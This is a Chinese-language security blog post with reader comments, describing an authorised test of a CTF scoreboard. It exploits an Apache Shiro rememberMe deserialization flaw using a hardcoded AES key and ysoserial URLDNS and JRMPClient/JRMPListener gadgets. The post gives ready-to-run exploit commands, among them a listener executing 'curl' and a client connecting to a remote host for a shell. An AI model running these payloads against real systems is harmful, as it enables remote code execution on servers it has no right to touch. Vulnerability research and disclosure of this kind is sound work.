2018年3月26日 星期一

Pwn a CTF Platform with Java JRMP Gadget



打 CTF 打膩覺得沒啥新鮮感嗎,來試試打掉整個 CTF 計分板吧!
前幾個月,剛好看到某個大型 CTF 比賽開放註冊,但不允許台灣參加有點難過 :(
看著官網最下面發現是 FlappyPig 所主辦,又附上 GitHub 原始碼 秉持著練習 Java code review 的精神就 git clone 下來找洞了!
(以下測試皆在 FlappyPig 的允許下友情測試,漏洞回報官方後也經過同意發文)
在有原始碼的狀況下進行 Java 的 code review 第一件事當然是去了解第三方 Libraries 的相依性,關於 Java 的生態系我也在幾年前的文章小小分享過,當有個底層函式庫出現問題時是整個上層的應用皆受影響!
從 pom.xml 觀察發現用了
  1. Spring Framework 4.2.4
    • 從版本來看似乎很棒沒什麼重大問題
  2. Mybatis 3.3.1
    • 一個 Java ORM
    • 似乎也沒看到用法有問題
  3. Jackson 2.7.1
    • 出過反序列化漏洞
    • 不過 enableDefaultTyping 沒啟用,也無直接收取 JSON 輸入無法觸發漏洞
  4. Apache Shiro 1.2.4

既然有現成的洞,當下即開始針對 Shiro 進行研究,首先遇到的第一個問題是照著文章內 PoC 的方式解密會發現失敗,看來是有自己修改過的怎麼辦QQ
不過翻著翻著原始碼在 src/main/resources/spring-shiro.xml 看到

真開心XD

把 AES Key 更正後解回來的東西有 AC ED 開頭看起來是序列化過後的資料,真棒
$ python decrypt.py cGhyYWNrY3RmREUhfiMkZA== | xxd 
00000000: 9373 1385 4bb7 526f 7a97 f7c5 1e17 0da3  .s..K.Roz.......
00000010: aced 0005 7372 0032 6f72 672e 6170 6163  ....sr.2org.apac
00000020: 6865 2e73 6869 726f 2e73 7562 6a65 6374  he.shiro.subject
00000030: 2e53 696d 706c 6550 7269 6e63 6970 616c  .SimplePrincipal
00000040: 436f 6c6c 6563 7469 6f6e a87f 5825 c6a3  Collection..X%..
...

接著就是產 Gadget 丟到遠端伺服器拿 shell,但在這步怎麼也無法成功利用,有點殘念只好再繼續研究下去!
當時的猜想是:
Apache Shiro 是一套實現身分驗證的 Library,而實現的方式可能有定義自己的 ClassLoader 因此導致現有的 Gadget 無法使用
(尚無查證,不過在拿到 shell 後看到這篇文章 Exploiting JVM deserialization vulns despite a broken class loader 證明猜想也許是對的,不過這篇也沒實現 RCE XD)
雖然無法跳至 Common Collection 但至少還有 JRE 本身的 Gadget 可以跳去做二次利用!
綜觀 ysoserial 除了 JRE 本身的洞外可利用的 Gadget 所剩無幾,先來試試 URLDNS 至少先確認漏洞存在再說!
$ java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://mydnsserver.orange.tw/ | python exp.py
發現 DNS 有回顯至少確認漏洞存在了,再繼續往下利用!
下一步我選的 Gadget 則是 JRMPClient,由於 JRMP 是位於 RMI 底下的一層實作,所以走的也是反序列化的協議,“純猜測” 也許在這裡使用 ClassLoader 就不會是 Apache Shiro 而是原本的 ClassLoader
(未查證,如有人可以幫忙查證請告訴我結果XD)
但這裡又遇到一個問題是,如何實現一個 JRMP Server 去接送過來的 Protocol?
網路上並沒有人有提供 JRMPClient 要如何使用的教學及利用方式!
本來想要手刻但找著找著資料找回 ysoserial 上的 JRMPListener.java,讀了一下原始碼才驚覺 ysoserial 真棒,各種模組化及利用都幫你寫好了!
ysoserial 分為大個部分,payload 以及 exploit,平常都只有用到產 payload 的部分而已,但實際上作者有寫好幾份可直接利用的 exploit 並模組化,讓我們可以直接利用!
所以最後的利用則是:
$ java -cp ysoserial-master-SNAPSHOT.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections5 'curl orange.tw'
# listen 一個 RMI server 走 JRMP 協議在 12345 port 上

$ java -jar ysoserial-master-SNAPSHOT.jar JRMPClient '1.2.3.4:12345'  | python exp.py
# 使用 JRMPClient 去連接剛剛 listen 的 server
如此一來就可以獲得 shell 惹!





2018/03/27 01:23, Update
  1. 經過比較詳細的分析,一開始失敗的詳細原因真是如同文章 所說 Shiro 自己實現了一個 Buggy 的 ClassLoader
  2. 所以 payload 當中出現 ChainedTransformer 或是 InvokerTransformer 都會出現 Unable to deserialize argument byte array 錯誤
  3. 而內建的 URLDNS 及 JRMPClient 剛好沒用到上述方式實現 Gadget 所以可以使用!
  4. 所以理論上透過 RMI 或是 JDNI 的方式應該也可以成功!
2018/03/27 10:09, Update
  1. 留言中有人給出了更詳細的 root cause! - "Shiro resovleClass使用的是ClassLoader.loadClass()而非Class.forName(),而ClassLoader.loadClass不支持装载数组类型的class。"
  2. 感謝幫忙解惑 <(_ _)>

21 則留言:

  1. Class Loader似乎不是Shiro的问题,我前天晚上跟踪了很久,是JRE里面的rt.jar里面的Class Loader在寻找某个类。ChainedTransformer是能正常找到的,但是在找“[Lorg.apache.common.collections.Transformer;”时找不到。从这个jvm标记看像是Transformer[],再调下去为啥找不到就要到jvm内部实现去了。。。

    回覆刪除
    回覆
    1. 我有 update 了一下, 你的錯誤訊息是 `Unable to deserialize argument byte array` 嗎?

      刪除
    2. 不過感覺就是 Shiro 亂搞了一下 ClassLoader 才有這樣的問題? 自己把 Shiro DefaultSerializer 抓出來寫成一個獨立的 java 執行序列化也會遇到同樣問題的說!

      刪除
    3. 主要是 https://bling.kapsi.fi/blog/jvm-deserialization-broken-classldr.html 這邊 "What made the ysoserial payloads fail?" 這段!

      刪除
    4. 然後 URLDNS 以及 JRMPClient 可以使用的原因應該也是實做中沒有用到 Transformer XD
      分別在
      https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/JRMPClient.java

      https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java

      刪除
  2. Shiro resovleClass使用的是ClassLoader.loadClass()而非Class.forName(),而ClassLoader.loadClass不支持装载数组类型的class。

    回覆刪除
    回覆
    1. 剛剛看了一下,Shiro 自己定義了一個 ClassUtil.forName 裡面實作的確是用到 loadClass
      https://github.com/apache/shiro/blob/8acc82ab4775b3af546e3bbde928f299be62dc23/lang/src/main/java/org/apache/shiro/util/ClassUtils.java#L129

      Code 應該沒追錯吧XD? 晚點再來 update 文章!

      刪除
    2. 原来如此,学习到了……再断点了下,cl.loadClass是#L228那个,它把forName定义成了loadClass……应该是像这个链接说的一样的缘故吧:https://stackoverflow.com/questions/30406524/loading-an-array-with-a-classloader

      刪除
  3. 很精彩,已focus。大妈是但是有个疑惑,我想问问上面描述到的URLDNS这个payload,是在哪个点触发的回显,或者说exp是把payload set到cookie,然后利用shiro的readObject?

    回覆刪除
  4. 我仔细寻找了一下原因,的确是数组的问题,但实际上是由于 Tomcat 的 ClassLoader 的 bug 实现……我刚写了一篇文章讲述最后debug出来的原因:https://blog.zsxsoft.com/post/35

    回覆刪除
    回覆
    1. 「珍爱生命,少看二手文章」XDDD
      我到是沒注意到原來他是自己加上 commons-collections4 難怪他實現 RCE 好像喝水一樣簡單...

      刪除
  5. 问题来了,没有commons-collection的环境 是否只能自己挖依赖库的反序列化gadgets来利用了呢。

    回覆刪除
  6. 在JDK中ClassLoader.loadClass确实不支持数组,但在shiro中并非如此,可以发现[Ljava.lang; 等数组能加载,shiro中的loadClass最终会跳到tomcat上下文执行Class.forName,和loadClass应该是无关的,但是jdk和tomcat的classpath是相互独立的,所以在Tomcat上下文中无法加载第三方cc,添加tomcat启动设置,或者设置loader就行http://www.rai4over.cn/2020/Shiro-1-2-4-RememberMe%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90-CVE-2016-4437/#%E8%B7%B3%E5%9D%91

    回覆刪除
    回覆
    1. rai4over.cn 这里这篇文章才是正解啊。

      刪除